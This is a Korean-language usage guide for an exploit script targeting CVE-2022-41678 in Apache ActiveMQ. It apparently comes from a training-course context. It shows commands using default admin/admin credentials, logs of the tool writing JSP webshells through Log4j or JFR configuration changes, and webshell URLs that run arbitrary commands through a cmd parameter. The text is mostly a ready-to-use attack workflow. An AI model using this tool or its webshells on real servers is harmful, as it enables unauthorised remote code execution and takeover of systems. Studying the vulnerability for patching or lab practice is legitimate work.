
CVE-2022-41678는 Apache ActiveMQ의 원격 코드 실행 취약점입니다. 이 취약점을 통해 공격자는 JMX(Java Management Extensions) 인터페이스를 통해 Log4j 설정 또는 JFR(Java Flight Recorder) 설정을 수정하여 악성 JSP 웹쉘을 서버의 웹 디렉터리에 작성함으로써 최종적으로 원격 코드 실행을 달성할 수 있습니다.
참고 문서: https://app.nextcyber.cn/courses/41/tasks/580
CVE-2022-41678은 Apache ActiveMQ의 원격 코드 실행 취약점입니다. 이 취약점을 통해 공격자는 JMX(Java Management Extensions) 인터페이스를 통해 Log4j 구성 또는 JFR(Java Flight Recorder) 구성을 수정하여 악성 JSP 웹셸을 서버의 웹 디렉토리에 작성하고, 최종적으로 원격 코드 실행을 달성할 수 있습니다.
이 취약점은 여러 버전의 Apache ActiveMQ에 영향을 미치며, 구체적인 영향을 받는 버전은 Log4j 및 JFR 구성 사용 여부에 따라 달라집니다.
pip install requests
기본 admin/admin 자격 증명과 자동 탐지 악용 방식을 사용합니다:
python exp.py http://target:8161
-u 및 -p 매개변수를 통해 사용자 이름과 비밀번호를 지정할 수도 있습니다:
# Log4j 사용
python exp.py -u admin -p admin http://10.22.174.214:8161
# 실행 결과는 다음과 같습니다
python exp.py -u admin -p admin http://10.22.174.214:8161
2025-10-14 22:53:54,115 - INFO - choice MBean 'org.apache.logging.log4j2:type=5faeada1' automatically
2025-10-14 22:53:54,334 - INFO - update log config
2025-10-14 22:53:54,467 - INFO - write webshell to http://10.22.174.214:8161/admin/shell.jsp?cmd=id
2025-10-14 22:53:54,655 - INFO - restore log config
기본 Log4j 악용 방식 외에도 --exploit jfr 매개변수를 사용하여 JFR 악용 방식을 지정할 수도 있습니다.
# JFR 방식 사용
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161
# 실행 결과는 다음과 같습니다
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161/
2025-10-14 23:16:35,978 - INFO - choice MBean jdk.management.jfr:type=FlightRecorder manually
2025-10-14 23:16:37,390 - INFO - create flight record, id = 1
2025-10-14 23:16:37,533 - INFO - update configuration for record 1
2025-10-14 23:16:38,167 - INFO - start record
2025-10-14 23:16:39,243 - INFO - stop record
2025-10-14 23:16:39,309 - INFO - write webshell to http://10.22.174.214:8161/admin/shelljfr.jsp?cmd=id
성공적으로 악용한 후, 다음 URL에 접속하여 명령을 실행할 수 있습니다:
# Log4j 방식으로 작성된 웹셸
http://target:8161/admin/shell.jsp?cmd=명령
# JFR 방식으로 작성된 웹셸
http://target:8161/admin/shelljfr.jsp?cmd=명령
예를 들어, id 명령을 실행:
http://target:8161/admin/shell.jsp?cmd=id
| 매개변수 | 약어 | 유형 | 기본값 | 설명 |
|---|
--username | -u | 문자열 | admin | ActiveMQ 콘솔의 사용자 이름 |
--password | -p | 문자열 | admin | ActiveMQ 콘솔의 비밀번호 |
--exploit | -e | 문자열 | auto | 악용 방식, 선택 값: auto, log4j, jfr |
url | - | 문자열 | - | 대상 ActiveMQ의 URL 주소(필수 매개변수) |